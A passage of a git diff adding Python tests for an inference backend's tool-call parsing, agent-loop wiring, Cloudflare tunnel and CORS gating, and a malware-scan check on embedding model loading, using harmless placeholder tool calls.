+        body = "".join(m["content"] for m in msgs)
+        return body + ("|TOOLS" if tools else "")
+
+    out = render_with_native_template_fallback(
+        formatted_prompt = ignoring(None, messages, tools = tools),
+        tokenizer = SimpleNamespace(),
+        model_info = dict(model_info),
+        active_model_name = "x",
+        messages = messages,
+        tools = tools,
+        apply_fn = lambda tok, msgs, *, tools, **kw: (
+            native_emits(tok, msgs, tools = tools)
+            if getattr(tok, "chat_template", None) == "TPL"
+            else ignoring(tok, msgs, tools = tools)
+        ),
+    )
+    assert out == "hi|TOOLS", out
+
+
+def test_render_with_native_template_fallback_keeps_prompt_when_tools_emitted():
+    # Live render already differs with vs without tools -> no fallback, returned
+    # unchanged. Also a no-tools call is a passthrough.
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_with_native_template_fallback
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+
+    def emitting(tokenizer, msgs, *, tools, **_kw):
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|T" if tools else "")
+
+    kept = render_with_native_template_fallback(
+        formatted_prompt = emitting(None, messages, tools = tools),
+        tokenizer = SimpleNamespace(),
+        model_info = {"native_chat_template": "TPL", "tokenizer": SimpleNamespace()},
+        active_model_name = "x",
+        messages = messages,
+        tools = tools,
+        apply_fn = emitting,
+    )
+    assert kept == "hi|T", kept
+
+    # No tools -> passthrough (native template never consulted).
+    passthrough = render_with_native_template_fallback(
+        formatted_prompt = "hi",
+        tokenizer = SimpleNamespace(),
+        model_info = {},
+        active_model_name = "x",
+        messages = messages,
+        tools = None,
+        apply_fn = emitting,
+    )
+    assert passthrough == "hi"
+
+
+def test_render_with_native_template_fallback_keeps_prompt_when_no_tools_probe_raises():
+    # A template that REQUIRES tools can raise on the no-tools probe.
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_with_native_template_fallback
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+
+    def raises_without_tools(tokenizer, msgs, *, tools, **_kw):
+        if not tools:
+            raise RuntimeError("template requires tools")
+        return "".join(m["content"] for m in msgs) + "|T"
+
+    out = render_with_native_template_fallback(
+        formatted_prompt = "hi|T",
+        tokenizer = SimpleNamespace(),
+        model_info = {"native_chat_template": "TPL", "tokenizer": SimpleNamespace()},
+        active_model_name = "x",
+        messages = messages,
+        tools = tools,
+        apply_fn = raises_without_tools,
+    )
+    assert out == "hi|T", out
+
+
+def test_truncated_bare_json_at_eof_is_not_leaked():
+    # Stream ends mid bare-JSON object: the held fragment must be dropped at the
+    # EOF resolver, not flushed as plain assistant content (GGUF parity).
+    loop, _exec = _make_loop(
+        turns = [['{"name":"web_search","parameters":{"query":"weather in S']],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any('"name"' in t for t in contents), contents
+
+
+def test_oversized_bare_json_call_is_not_leaked_and_executes():
+    # A bare-JSON call whose arguments exceed _MAX_BARE_JSON_BUFFER must DRAIN
+    # (suppress) rather than stream the raw JSON prefix, and still execute once
+    # the full object is parsed by the safety net.
+    from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER
+
+    big = "A" * (_MAX_BARE_JSON_BUFFER + 5000)
+    full = '{"name":"python","parameters":{"code":"' + big + '"}}'
+    chunks = [full[i : i + 2000] for i in range(0, len(full), 2000)]
+    loop, exec_fn = _make_loop(turns = [chunks, ["done"]], exec_results = ["OK"], max_tool_iterations = 2)
+    events = _collect_events(loop)
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any(t.lstrip().startswith('{"name') for t in contents), contents[:1]
+    assert exec_fn.calls and exec_fn.calls[0][0] == "python"
+    assert len(exec_fn.calls[0][1].get("code", "")) > _MAX_BARE_JSON_BUFFER
+
+
+def test_oversized_plain_json_answer_still_streams():
+    # A giant plain JSON answer (no "name" key) is NOT a tool call and must still
+    # stream -- the oversized DRAIN route is gated on a "name" key.
+    from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER
+
+    big = "A" * (_MAX_BARE_JSON_BUFFER + 5000)
+    full = '{"result":"' + big + '"}'
+    chunks = [full[i : i + 2000] for i in range(0, len(full), 2000)]
+    loop, _exec = _make_loop(turns = [chunks], max_tool_iterations = 1)
+    events = _collect_events(loop)
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert '"result"' in contents
+
+
+def test_oversized_disabled_name_json_answer_still_streams():
+    # A giant still-open JSON answer whose "name" is NOT an enabled tool must stream:
+    # the oversized DRAIN branch was gated only on the presence of a "name" key, so a
+    # large ordinary record ({"name":"Alice",...}) was drained instead of shown.
+    from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER
+
+    big = "A" * (_MAX_BARE_JSON_BUFFER + 5000)
+    answer = '{"name":"Alice","parameters":{"bio":"' + big  # never closes
+    chunks = [answer[i : i + 2000] for i in range(0, len(answer), 2000)]
+    loop, exec_fn = _make_loop(turns = [chunks], max_tool_iterations = 1)
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "Alice" in contents, contents[:80]
+
+
+def test_truncated_disabled_name_json_is_shown_at_eof():
+    # A truncated ordinary JSON answer whose name is not an enabled tool, held to EOF,
+    # must be shown -- the EOF bare-JSON DRAIN branch was gated only on a "name" key.
+    truncated = '{"name":"Alice","parameters":{"age":'
+    loop, exec_fn = _make_loop(turns = [[truncated]], max_tool_iterations = 1)
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "Alice" in contents, contents
+
+
+def test_truncated_plain_json_with_nested_enabled_name_is_visible():
+    # A truncated ordinary JSON answer with a NESTED ``"name"`` matching an enabled
+    # tool ({"result":{"name":"web_search",...) must be shown, not suppressed: the
+    # gate now extracts the TOP-LEVEL name only, so the nested field is just data.
+    loop, exec_fn = _make_loop(
+        turns = [['{"result":{"name":"web_search","age":']],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == []
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert '"result"' in contents and "web_search" in contents, contents
+
+
+def test_bare_json_call_not_replayed_in_next_turn_content():
+    # After a complete bare-JSON call executes, the assistant content fed to the
+    # next turn must not contain the raw call (next-turn contamination).
+    captured: list[list[dict]] = []
+    exec_fn = FakeExecuteTool(["RESULT"])
+
+    def st(messages, active_tools = None):
+        captured.append([dict(m) for m in messages])
+        if len(captured) == 1:
+            yield '{"name":"web_search","parameters":{"query":"cats"}}'
+        else:
+            yield "Found."
+
+    _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            execute_tool = exec_fn,
+            max_tool_iterations = 3,
+        )
+    )
+    assert len(captured) >= 2, captured
+    asst = [m for m in captured[1] if m.get("role") == "assistant"]
+    assert asst and not any('"name"' in (m.get("content") or "") for m in asst), asst
+
+
 if __name__ == "__main__":
     pytest.main([__file__, "-v"])
+
+
+def test_streaming_strip_keeps_bare_args_before_think_block():
+    # F3: a bare ``foo[ARGS]`` before a think block is prose; EOS-anchored tail arms run only
+    # on the last segment.
+    text = "Please pass foo[ARGS] <think>pause</think> to the template."
+    out = strip_tool_markup_streaming(text, tool_protocol_active = True)
+    assert out == text
+
+
+def test_streaming_strip_still_removes_complete_call_before_think_block():
+    # A complete bracket call before a think block still strips in the non-last segment.
+    text = 'go web_search[ARGS]{"q":"x"} <think>z</think> done'
+    out = strip_tool_markup_streaming(text, tool_protocol_active = True)
+    assert "web_search[ARGS]" not in out
+    assert "<think>z</think>" in out
+    assert "go" in out and "done" in out
+
+
+def test_prose_args_marker_before_real_call_does_not_drain_the_prose():
+    # F5: an inactive ``foo[ARGS]`` in prose is not a call boundary; the prose streams in
+    # full and the later real call still executes.
+    loop, exec_fn = _make_loop(
+        turns = [
+            ["Intro ", "foo[ARGS] syntax. ", 'web_search[ARGS]{"query":"cats"}'],
+            ["Cats are great."],
+        ],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    # The prose between the bogus marker and the real call must survive.
+    assert any("foo[ARGS] syntax." in t for t in contents), contents
+    # The real call markup is never shown as content.
+    assert not any("web_search[ARGS]" in t for t in contents), contents
+
+
+def test_inactive_name_args_with_body_is_not_parsed_into_disabled_noop():
+    # BUG A: a prose answer with an inactive ``foo[ARGS]{...}`` is not drained into a
+    # disabled no-op extra turn; the [ARGS] checks are name-gated.
+    turns = [['foo[ARGS]{"x":1} is just syntax.']]
+    turn_calls: list[int] = []
+
+    def _gen(_messages):
+        turn_calls.append(1)
+        chunks = turns[len(turn_calls) - 1] if len(turn_calls) <= len(turns) else []
+        acc = ""
+        for chunk in chunks:
+            acc += chunk
+            yield acc
+
+    exec_fn = FakeExecuteTool([])
+    loop = run_safetensors_tool_loop(
+        single_turn = _gen,
+        messages = [{"role": "user", "content": "explain"}],
+        tools = [{"type": "function", "function": {"name": "web_search"}}],
+        execute_tool = exec_fn,
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    assert not any(e["type"] in ("tool_start", "tool_end") for e in events), events
+    # Exactly one generation turn -- no disabled ``foo`` no-op re-prompt.
+    assert len(turn_calls) == 1, turn_calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert any("is just syntax." in t for t in contents), contents
+
+
+class TestEnabledToolNameGate:
+    """The safetensors loop passes the active tool names into parse/strip so the
+    ambiguous bare-rehearsal ``NAME[ARGS]{json}`` is treated as a call only when NAME
+    is an active tool (#5704). Without the gate an inactive ``foo[ARGS]{...}`` in prose
+    was parsed into a disabled no-op call and stripped from the visible text."""
+
+    def _names(self, calls):
+        return [c["function"]["name"] for c in calls]
+
+    def test_parse_inactive_rehearsal_does_not_swallow_active_call(self):
+        text = 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert self._names(calls) == ["web_search"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_parse_inactive_rehearsal_alone_is_prose(self):
+        assert (
+            parse_tool_calls_from_text('foo[ARGS]{"a":1}', enabled_tool_names = {"web_search"}) == []
+        )
+
+    def test_streaming_strip_keeps_inactive_rehearsal(self):
+        raw = 'answer foo[ARGS]{"x":1} tail'
+        assert strip_tool_markup_streaming(raw, enabled_tool_names = {"web_search"}) == raw
+
+    def test_streaming_strip_removes_active_rehearsal(self):
+        raw = 'answer web_search[ARGS]{"q":1} tail'
+        out = strip_tool_markup_streaming(raw, enabled_tool_names = {"web_search"})
+        assert "web_search[ARGS]" not in out
+        assert out == "answer  tail"
+
+    def test_final_strip_keeps_inactive_rehearsal(self):
+        text = 'foo[ARGS]{"x":1} is just syntax.'
+        assert strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"}) == text
+
+    def test_gate_none_preserves_legacy_strip_and_parse(self):
+        text = 'foo[ARGS]{"x":1} tail'
+        assert self._names(parse_tool_calls_from_text(text)) == ["foo"]
+        assert strip_tool_markup_streaming(text) == " tail"
+
+
+def test_drain_truncated_enabled_name_json_preserved_when_auto_heal_disabled():
+    # F3: with Auto-Heal OFF, a truncated ENABLED-name bare-JSON fragment that did
+    # not parse must stay visible (disabled-Auto-Heal contract: malformed markup is
+    # preserved), matching the XML strip in the same drain branch. With Auto-Heal ON
+    # the same fragment is suppressed.
+    trunc = '{"name":"web_search","parameters":{"query":"weather'
+    off, exec_off = _make_loop(turns = [[trunc]], max_tool_iterations = 1, auto_heal_tool_calls = False)
+    events_off = _collect_events(off)
+    assert exec_off.calls == [], exec_off.calls
+    contents_off = "".join(e["text"] for e in events_off if e["type"] == "content")
+    assert "web_search" in contents_off, contents_off
+
+    on, exec_on = _make_loop(turns = [[trunc]], max_tool_iterations = 1, auto_heal_tool_calls = True)
+    events_on = _collect_events(on)
+    assert exec_on.calls == [], exec_on.calls
+    contents_on = "".join(e["text"] for e in events_on if e["type"] == "content")
+    assert "web_search" not in contents_on, contents_on
+
+
+def test_looks_like_enabled_bare_json_accepts_function_alias():
+    # The safetensors buffering gate must recognise the "function" bare-JSON alias
+    # the parser accepts, so a truncated/complete {"function":<enabled tool>} call is
+    # buffered/healed instead of streaming as visible content.
+    from core.inference.safetensors_agentic import _looks_like_enabled_bare_json
+
+    enabled = {"web_search"}
+    assert _looks_like_enabled_bare_json(
+        '{"function":"web_search","parameters":{"q":"x"}}', enabled
+    )
+    # A non-tool "function" value is an ordinary JSON answer -> not gated.
+    assert not _looks_like_enabled_bare_json('{"function":"Alice","parameters":{}}', enabled)
+
+
+class TestFalseAlarmMarkerProse:
+    def test_leading_marker_prose_streams_intact(self):
+        # An answer that starts with a literal marker is a false alarm: the
+        # drain finds no calls and the full prose must reach the client.
+        text = "[TOOL_CALLS] is the Mistral tool marker. More prose after."
+        loop, exec_fn = _make_loop(turns = [[text]])
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert texts and texts[-1] == text
+
+    def test_chained_bare_json_calls_not_replayed_in_history(self):
+        # Both chained calls execute; the kept content (next-turn assistant
+        # history) must not contain the second call's raw JSON.
+        chained = (
+            '{"name":"web_search","parameters":{"q":"first"}};'
+            '{"name":"python","parameters":{"code":"x"}}'
+        )
+        convs = []
+        turn_iter = iter([[chained], ["Final answer."]])
+
+        def gen(messages, active_tools = None):
+            convs.append([dict(m) for m in messages])
+            try:
+                chunks = next(turn_iter)
+            except StopIteration:
+                return
+            acc = ""
+            for c in chunks:
+                acc += c
+                yield acc
+
+        exec_fn = FakeExecuteTool(["r1", "r2"])
+        loop = run_safetensors_tool_loop(
+            single_turn = gen,
+            messages = [{"role": "user", "content": "hi"}],
+            tools = [
+                {"type": "function", "function": {"name": "web_search"}},
+                {"type": "function", "function": {"name": "python"}},
+            ],
+            execute_tool = exec_fn,
+        )
+        _collect_events(loop)
+        assert [c[0] for c in exec_fn.calls] == ["web_search", "python"]
+        assistant = next(m for m in convs[1] if m["role"] == "assistant")
+        assert '"python"' not in (assistant.get("content") or "")
diff --git a/studio/backend/tests/test_safetensors_toolcall_wiring.py b/studio/backend/tests/test_safetensors_toolcall_wiring.py
new file mode 100644
index 0000000000..5c298a7966
--- /dev/null
+++ b/studio/backend/tests/test_safetensors_toolcall_wiring.py
@@ -0,0 +1,179 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Deterministic backend-wiring test for the safetensors / MLX tool-calling path.
+
+The parser and the cumulative-text state machine are already covered exhaustively by
+``test_safetensors_tool_loop.py`` with fake generators. What that suite does not touch is the
+*backend's own tool-injection seam*: both ``InferenceBackend`` (transformers) and
+``MLXInferenceBackend`` render the prompt through the shared
+``apply_chat_template_for_generation(..., tools=...)`` helper and stream cumulative text into the
+shared ``run_safetensors_tool_loop`` (see ``core/inference/inference.py`` and
+``core/inference/mlx_inference.py`` -- both call the same helper and the same loop, so a single CPU
+test of that seam covers the macOS MLX path too).
+
+This test drives that exact seam with deterministic fakes -- a fake tokenizer that records the
+``tools`` it is handed, a canned tool-call generation, and a stub executor -- and asserts the full
+agentic chain end to end:
+
+    tools injected into the template -> loop parses the call -> tool dispatched once ->
+    tool result fed back -> generation re-entered -> final answer streamed.
+
+It is the deterministic, download-free stand-in for the real-model MLX / GGUF browser tool-calling
+end-to-end: it imports no torch / unsloth / mlx, so it runs in the portable Backend CI alongside the
+tool-call parser tests. Follow-up to the parser test PRs (#5620 / #5704).
+"""
+
+from core.inference.chat_template_helpers import apply_chat_template_for_generation
+from core.inference.safetensors_agentic import run_safetensors_tool_loop
+
+TOOL_NAME = "get_weather"
+TOOL_ARGS = {"city": "Paris"}
+FAKE_TOOL = {
+    "type": "function",
+    "function": {
+        "name": TOOL_NAME,
+        "description": "Get the current weather for a city.",
+        "parameters": {
+            "type": "object",
+            "properties": {"city": {"type": "string"}},
+            "required": ["city"],
+        },
+    },
+}
+# Full parser matrix lives in test_safetensors_tool_loop.py.
+TOOL_CALL_TEXT = '<tool_call>{"name": "get_weather", "arguments": {"city": "Paris"}}</tool_call>'
+FINAL_ANSWER = "The weather in Paris is sunny and 22C."
+TOOL_RESULT = "Paris: sunny, 22C"
+
+
+class RecordingTokenizer:
+    """Fake tokenizer that records the ``tools`` handed to ``apply_chat_template``.
+
+    Modelled on ``TestChatTemplateHelper._Tok`` in ``test_safetensors_tool_loop.py``: it accepts the
+    real helper's kwargs and returns a canned prompt, so the test can assert the backend seam actually
+    forwarded the tool schema -- a silent drop on a chat-template fallback would leave ``tools_seen``
+    holding ``None``.
+    """
+
+    def __init__(self):
+        self.tools_seen: list = []
+        self.call_count = 0
+
+    def apply_chat_template(
+        self,
+        messages,
+        *,
+        tokenize = False,
+        add_generation_prompt = True,
+        **kwargs,
+    ):
+        self.call_count += 1
+        self.tools_seen.append(kwargs.get("tools"))
+        return "PROMPT"
+
+
+class StubExecutor:
+    """Stand-in for ``core.inference.tools.execute_tool``: records calls, returns a fixed result.
+
+    A fake tool name plus this stub means no real python / terminal / web / RAG side effect can run.
+    """
+
+    def __init__(self, result: str):
+        self.result = result
+        self.calls: list[tuple[str, dict]] = []
+
+    def __call__(
+        self,
+        name,
+        arguments,
+        *,
+        cancel_event = None,
+        timeout = None,
+        session_id = None,
+        rag_scope = None,
+        disable_sandbox = False,
+    ):
+        self.calls.append((name, arguments))
+        return self.result
+
+
+def _collect(generator, max_events = 200):
+    events = []
+    for ev in generator:
+        events.append(ev)
+        if len(events) >= max_events:
+            break
+    return events
+
+
+def _tool_names(tools):
+    return [(t.get("function") or {}).get("name") for t in (tools or [])]
+
+
+def test_backend_seam_injects_tools_and_drives_full_tool_loop():
+    """The shared backend seam forwards tools into the chat template, and the loop parses the call,
+    dispatches it once, feeds the result back, and re-enters generation for the final answer."""
+    tok = RecordingTokenizer()
+    executor = StubExecutor(TOOL_RESULT)
+    turns = iter([TOOL_CALL_TEXT, FINAL_ANSWER])
+    active_tools_seen: list = []
+    conversations_seen: list = []
+
+    def single_turn(conversation, *, active_tools = None):
+        # Mirror the real _single_turn: render via the shared helper, then yield cumulative snapshots.
+        active_tools_seen.append(active_tools)
+        conversations_seen.append([dict(m) for m in conversation])
+        apply_chat_template_for_generation(tok, conversation, tools = active_tools)
+        text = next(turns)
+        mid = len(text) // 2
+        acc = ""
+        for chunk in (text[:mid], text[mid:]):
+            acc += chunk
+            yield acc
+
+    events = _collect(
+        run_safetensors_tool_loop(
+            single_turn = single_turn,
+            messages = [{"role": "user", "content": "What is the weather in Paris?"}],
+            tools = [FAKE_TOOL],
+            execute_tool = executor,
+            max_tool_iterations = 3,
+        )
+    )
+
+    # 1. Helper forwarded the tool schema to the tokenizer (seam does not drop tools).
+    assert tok.tools_seen, "tokenizer.apply_chat_template was never called"
+    assert tok.tools_seen[0], "tool schema was dropped before reaching the tokenizer"
+    assert TOOL_NAME in _tool_names(tok.tools_seen[0])
+
+    # 2. Loop offered the tool to the first generation turn.
+    assert active_tools_seen and active_tools_seen[0] is not None
+    assert TOOL_NAME in _tool_names(active_tools_seen[0])
+
+    # 3 / 4 / 5. Exactly one tool_start, one dispatch with parsed args, one tool_end with the result.
+    tool_starts = [e for e in events if e["type"] == "tool_start"]
+    tool_ends = [e for e in events if e["type"] == "tool_end"]
+    assert len(tool_starts) == 1 and tool_starts[0]["tool_name"] == TOOL_NAME
+    assert executor.calls == [(TOOL_NAME, TOOL_ARGS)], executor.calls
+    assert len(tool_ends) == 1 and tool_ends[0]["result"] == TOOL_RESULT
+
+    # 6. Final answer streams after the tool result: loop appended it and re-entered generation.
+    contents = [e for e in events if e["type"] == "content"]
+    assert contents and FINAL_ANSWER in contents[-1]["text"]
+    last_tool_end_idx = max(i for i, e in enumerate(events) if e["type"] == "tool_end")
+    last_content_idx = max(i for i, e in enumerate(events) if e["type"] == "content")
+    assert last_content_idx > last_tool_end_idx, "final answer must stream after the tool result"
+
+    # 6b. Tool result fed back into the conversation before the final turn (6 alone misses this:
+    #     the fake generation ignores the conversation).
+    assert len(conversations_seen) >= 2, "loop did not re-enter generation after the tool call"
+    final_turn_convo = conversations_seen[1]
+    assert any(
+        TOOL_RESULT in str(m.get("content", "")) for m in final_turn_convo
+    ), "tool result was not fed back into the conversation before the final generation turn"
+
+    # 7. Guard: raw tool-call markup never leaked to the client as content.
+    for e in contents:
+        assert "<tool_call>" not in e["text"]
+        assert TOOL_NAME not in e["text"]
diff --git a/studio/backend/tests/test_secure_tunnel_gate.py b/studio/backend/tests/test_secure_tunnel_gate.py
index d254121c14..1f7608a4fc 100644
--- a/studio/backend/tests/test_secure_tunnel_gate.py
+++ b/studio/backend/tests/test_secure_tunnel_gate.py
@@ -21,8 +21,9 @@ from run import _cloudflare_tunnel_should_start as should_start  # noqa: E402
 @pytest.mark.parametrize(
     "cloudflare,host,secure,api_only,is_colab,expected",
     [
-        # Non-secure: historical 0.0.0.0-only behaviour preserved.
+        # Non-secure wildcard binds tunnel by default.
         (True, "0.0.0.0", False, False, False, True),
+        (True, "::", False, False, False, True),
         (True, "127.0.0.1", False, False, False, False),
         (True, "localhost", False, False, False, False),
         # --secure tunnels a loopback bind too.
@@ -30,12 +31,18 @@ from run import _cloudflare_tunnel_should_start as should_start  # noqa: E402
         (True, "0.0.0.0", True, False, False, True),
         # --no-cloudflare always wins.
         (False, "0.0.0.0", False, False, False, False),
+        (False, "::", False, False, False, False),
         (False, "127.0.0.1", True, False, False, False),
-        # api-only and Colab never tunnel.
+        # Non-secure api-only never tunnels (Tauri).
         (True, "0.0.0.0", False, True, False, False),
-        (True, "127.0.0.1", True, True, False, False),
+        (True, "::", False, True, False, False),
+        # --secure tunnels even api-only (headless secure API server).
+        (True, "127.0.0.1", True, True, False, True),
+        # Colab never tunnels, even --secure.
         (True, "0.0.0.0", False, False, True, False),
+        (True, "::", False, False, True, False),
         (True, "127.0.0.1", True, False, True, False),
+        (True, "127.0.0.1", True, True, True, False),
     ],
 )
 def test_cloudflare_gate(cloudflare, host, secure, api_only, is_colab, expected):
@@ -129,7 +136,7 @@ def test_startup_output_emits_tool_notice_on_network_bind(capsys, monkeypatch):
     import run
 
     monkeypatch.setattr(run, "_verify_global_reachability", lambda *a, **k: None)
-    monkeypatch.setattr(run, "_print_cloudflare_line", lambda: None)
+    monkeypatch.setattr(run, "_print_cloudflare_line", lambda *a, **k: None)
     monkeypatch.setattr(run, "_localhost_ipv6_mismatch_url", lambda *a, **k: None)
 
     run._emit_startup_output("0.0.0.0", 8000, "0.0.0.0", secure = False, enable_tools = None)
@@ -162,3 +169,46 @@ def test_failclosed_message_present_in_source():
         "A secure Cloudflare link is not allowed, use --no-secure which provides a 0.0.0.0 link"
         in src
     )
+
+
+@pytest.mark.parametrize(
+    "api_only,secure,expected",
+    [
+        (False, False, ["*"]),  # plain server: any origin
+        (False, True, ["*"]),  # secure UI server: any origin
+        (True, True, ["*"]),  # secure api-only: remote browsers need any origin
+        (True, False, "tauri"),  # local api-only: locked to the Tauri app
+    ],
+)
+def test_cors_origins_for_mode(api_only, secure, expected):
+    from utils.host_policy import cors_origins_for_mode
+    origins = cors_origins_for_mode(api_only = api_only, secure = secure)
+    if expected == "tauri":
+        assert origins != ["*"] and any(o.startswith("tauri://") for o in origins)
+    else:
+        assert origins == expected
+
+
+def test_run_server_exports_secure_env_for_cors():
+    # run_server must export UNSLOTH_SECURE before importing main so the CORS
+    # profile can tell remote secure serving from local Tauri use.
+    src = (_BACKEND / "run.py").read_text(encoding = "utf-8")
+    assert 'os.environ["UNSLOTH_SECURE"] = "1"' in src
+
+
+def test_run_server_emit_tauri_port_defaults_on():
+    # Default on keeps the desktop app's stdout contract; the headless
+    # `run --api-only` path opts out explicitly.
+    import inspect
+
+    import run
+
+    params = inspect.signature(run.run_server).parameters
+    assert "emit_tauri_port" in params
+    assert params["emit_tauri_port"].default is True
+
+
+def test_tauri_port_print_is_gated_in_source():
+    # The TAURI_PORT line must depend on emit_tauri_port, not api_only alone.
+    src = (_BACKEND / "run.py").read_text(encoding = "utf-8")
+    assert "if api_only and emit_tauri_port:" in src
diff --git a/studio/backend/tests/test_security_gate_consistency.py b/studio/backend/tests/test_security_gate_consistency.py
index db66df8a30..b5f1069f12 100644
--- a/studio/backend/tests/test_security_gate_consistency.py
+++ b/studio/backend/tests/test_security_gate_consistency.py
@@ -99,3 +99,16 @@ def test_malware_and_consent_gates_cover_the_lora_base():
         if runs_gate and not resolves_base:
             offenders.append(f"{rel} runs a load gate but never resolves the LoRA base")
     assert not offenders, "\n".join(offenders)
+
+
+def test_rag_embedding_path_runs_the_malware_gate():
+    """The RAG embedding model is set through /settings and later loaded by
+    SentenceTransformer, which deserializes pickles; both sites must run the malware gate
+    or a flagged repo loads unscanned (bypassing the normal model-load protections)."""
+    offenders = []
+    for rel in ("routes/settings.py", "core/rag/embeddings.py"):
+        if "evaluate_file_security(" not in (_BACKEND / rel).read_text():
+            offenders.append(
+                f"{rel} loads/persists an embedding model without evaluate_file_security"
+            )
+    assert not offenders, "\n".join(offenders)
diff --git a/studio/backend/tests/test_sf_client_tools_passthrough.py b/studio/backend/tests/test_sf_client_tools_passthrough.py
new file mode 100644
index 0000000000..01905b712c
--- /dev/null
+++ b/studio/backend/tests/test_sf_client_tools_passthrough.py
@@ -0,0 +1,786 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Client-tools passthrough healing for the safetensors/MLX backend.
+
+Parity for #6801: when a NON-GGUF model is loaded and the request declares its
+own ``tools`` with server-side tools OFF, text-form tool calls are promoted back
+into structured ``tool_calls`` (declared tools only) via the shared healer. MLX
+rides the same orchestrator path, so a single scripted backend covers both.
+"""
+
+import asyncio
+import json
+from types import SimpleNamespace
+
+from models.inference import ChatCompletionRequest, ChatMessage
+from routes.inference import openai_chat_completions
+from core.inference.api_monitor import ApiMonitor
+
+
+LOOKUP_TOOL = {
+    "type": "function",
+    "function": {
+        "name": "lookup",
+        "description": "Look something up",
+        "parameters": {
+            "type": "object",
+            "properties": {"q": {"type": "string"}},
+            "required": ["q"],
+        },
+    },
+}
+SEARCH_TOOL = {
+    "type": "function",
+    "function": {
+        "name": "search",
+        "parameters": {
+            "type": "object",
+            "properties": {"query": {"type": "string"}},
+            "required": ["query"],
+        },
+    },
+}
+
+_CALL_XML = '<tool_call>{"name": "lookup", "arguments": {"q": "cats"}}</tool_call>'
+_SEARCH_XML = '<tool_call>{"name": "search", "arguments": {"query": "dogs"}}</tool_call>'
+
+
+class _Request:
+    state = SimpleNamespace()
+    url = SimpleNamespace(path = "/v1/chat/completions")
+    method = "POST"
+    scope: dict = {}
+
+    async def is_disconnected(self):
+        return False
+
+
+class _ScriptedBackend:
+    """Non-GGUF backend: ``generate_chat_response`` replays scripted
+    CUMULATIVE snapshots. ``responder(messages, tools)`` returns the snapshot
+    list for one generation, so nudge tests can vary output across turns."""
+
+    active_model_name = "sf-model"
+
+    def __init__(
+        self,
+        responder,
+        *,
+        stats = None,
+    ):
+        self.models = {
+            "sf-model": {
+                "chat_template_info": {"template": "<tool_call> chatml"},
+                "context_length": 2048,
+            }
+        }
+        self._responder = responder
+        self._stats = stats
+        self.calls: list = []
+        self.reset_count = 0
+
+    def generate_chat_response(
+        self,
+        *,
+        messages,
+        tools = None,
+        stats_holder = None,
+        **kwargs,
+    ):
+        self.calls.append({"messages": messages, "tools": tools, **kwargs})
+        snapshots = self._responder(messages, tools)
+        if stats_holder is not None and self._stats is not None:
+            stats_holder["stats"] = self._stats
+        for snap in snapshots:
+            yield snap
+
+    def reset_generation_state(self):
+        self.reset_count += 1
+
+
+def _fixed(*snapshots):
+    """Responder that always replays the given cumulative snapshots."""
+    return lambda messages, tools: list(snapshots)
+
+
+def _llama_stub():
+    return SimpleNamespace(
+        is_loaded = False,
+        supports_tools = False,
+        is_vision = False,
+        context_length = None,
+    )
+
+
+def _install(
+    monkeypatch,
+    backend,
+    *,
+    supports_tools = True,
+):
+    import routes.inference as inf
+    from state.tool_policy import reset_tool_policy
+
+    reset_tool_policy()
+    monitor = ApiMonitor(max_entries = 8)
+    monkeypatch.setattr(inf, "api_monitor", monitor)
+    monkeypatch.setattr(inf, "get_llama_cpp_backend", lambda: _llama_stub())
+    monkeypatch.setattr(inf, "get_inference_backend", lambda: backend)
+    monkeypatch.setattr(
+        inf,
+        "_detect_safetensors_features",
+        lambda *a, **k: {"supports_tools": supports_tools},
+    )
+    return monitor
+
+
+def _request(**kwargs):
+    base = dict(model = "default", messages = [ChatMessage(role = "user", content = "hi")])
+    base.update(kwargs)
+    return ChatCompletionRequest(**base)
+
+
+def _call(payload, monkeypatch, backend, **install_kwargs):
+    _install(monkeypatch, backend, **install_kwargs)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    return asyncio.run(_run())
+
+
+def _json_body(response):
+    return json.loads(response.body if hasattr(response, "body") else response.content)
+
+
+def _collect_sse(response):
+    async def _run():
+        return [c async for c in response.body_iterator]
+
+    return asyncio.run(_run())
+
+
+def _sse_objects(chunks):
+    out = []
+    for chunk in chunks:
